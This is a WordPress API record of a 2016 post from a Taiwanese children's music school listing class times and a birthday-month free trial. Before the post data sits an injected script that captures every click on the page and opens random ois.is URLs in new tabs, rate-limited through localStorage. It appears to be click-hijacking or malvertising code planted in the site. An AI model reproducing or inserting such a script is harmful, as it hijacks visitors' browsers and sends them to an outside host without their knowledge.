<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1097,"date":"2016-02-17T23:01:55","date_gmt":"2016-02-17T15:01:55","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_toufen\/?p=1097"},"modified":"2016-02-17T23:02:42","modified_gmt":"2016-02-17T15:02:42","slug":"%e2%97%8e%e7%95%b6%e6%9c%88%e5%a3%bd%e6%98%9f%e5%8f%af%e4%ba%ab%e5%85%8d%e8%b2%bb%e9%ab%94%e9%a9%97%e4%b8%80%e5%a0%82%e5%9c%98%e9%ab%94%e9%9f%b3%e6%a8%82%e6%88%96%e8%88%9e%e8%b9%88%e8%aa%b2%e7%a8%8b","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/peekaboo_toufen\/?p=1097","title":{"rendered":"\u25ce\u7576\u6708\u58fd\u661f\u53ef\u4eab\u514d\u8cbb\u9ad4\u9a57\u4e00\u5802\u5718\u9ad4\u97f3\u6a02\u6216\u821e\u8e48\u8ab2\u7a0b\u25ce"},"content":{"rendered":"<p><span style=\"font-size: 14pt; color: #000000;\">~\u6b61\u8fce\u9810\u7d04\u96a8\u73ed\u8a66\u4e0a~<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">2-3\u6b72\u89aa\u5b50\u97f3\u6a02\u8eb2\u8c93\u8c93 (\u4e00)10:00\u3001(\u4e8c)11:10\u3001(\u4e09)11:10\u3001(\u56db)11:10\u3001(\u516d)11:10<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">3-4\u6b72\u5e7c\u5152\u97f3\u6a02\u7ae5\u8a71\u570b (\u4e00)11:10\u3001(\u56db)10:00\u3001(\u516d)11:10\/13:00<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">4-5.5\u6b72\u5152\u7ae5\u97f3\u6a02\u57ce\u5821 (\u4e8c)13:30\u3001(\u516d)13:00\/14:05<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">5.5\u6b72\u4ee5\u4e0a\u5718\u9ad4\u9375\u76e4\u8ab2 (\u4e09)16:30<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">3-4\u6b72\u80a2\u9ad4\u958b\u767c\u5f8b\u52d5 (\u4e00)11:10\/17:30\u3001(\u4e94)10:00<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">4-5\u6b72\u85dd\u8853\u5c0f\u54c1\u5275\u610f\u821e\u52d5(\u4e94)18:00<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">3-5\u6b72\u5e7c\u5152\u5275\u610f\u7f8e\u8853 (\u4e09)10:00\/11:10\/17:30\u3001(\u516d)15:20\/16:30<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">3-6\u6b72\u82f1\u6587\u7e6a\u672cPlay&amp;Sing(\u4e8c)11:10\u3001(\u4e94)16:30<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">\u6210\u4eba\u79aa\u67d4\u8ab2\u3010\u810a\u690e\u87ba\u65cb\u904b\u52d5\u3011 (\u4e09)15:10<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">** \u9084\u6709\u66f4\u591a\u9069\u5408 2\u6b72\u4ee5\u4e0a~\u6210\u4eba\u73ed \u7684\u8ab2\u7a0b\u54e6! **<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">\u6b61\u8fce\u5bb6\u9577\u4f86\u96fb\u767b\u8a18\u6216\u7dda\u4e0a\u9810\u7d04!<\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">\u8a73\u7d30\u5167\u5bb9\u8acb\u53c3\u8003 <a href=\"http:\/\/www.musicpeekaboo.com.tw\/\" target=\"_blank\">http:\/\/www.musicpeekaboo.com.tw\/<\/a><\/span><br \/>\n<span style=\"font-size: 14pt; color: #000000;\">\u6216\u76f4\u63a5\u64a5\u6253\u5c08\u7dda:2740-2798<\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-large wp-image-1098\" src=\"http:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2016\/02\/01-800x533.jpg\" alt=\"01\" width=\"800\" height=\"533\" srcset=\"https:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2016\/02\/01-800x533.jpg 800w, https:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2016\/02\/01-300x200.jpg 300w, https:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2016\/02\/01-768x511.jpg 768w, https:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2016\/02\/01-560x373.jpg 560w, https:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2016\/02\/01-260x173.jpg 260w, https:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2016\/02\/01.jpg 960w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>~\u6b61\u8fce\u9810\u7d04\u96a8\u73ed\u8a66\u4e0a~ 2-3\u6b72\u89aa\u5b50\u97f3\u6a02\u8eb2\u8c93\u8c93 (\u4e00)10:00\u3001(\u4e8c)11:10&hellip;<\/p>\n<p class=\"more-link-p\"><a class=\"more-link\" href=\"https:\/\/edu.secda.info\/peekaboo_toufen\/?p=1097\">Read more &rarr;<\/a><\/p>\n","protected":false},"author":6,"featured_media":1098,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[24],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/posts\/1097"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1097"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/posts\/1097\/revisions"}],"predecessor-version":[{"id":1099,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/posts\/1097\/revisions\/1099"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/media\/1098"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1097"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1097"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1097"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}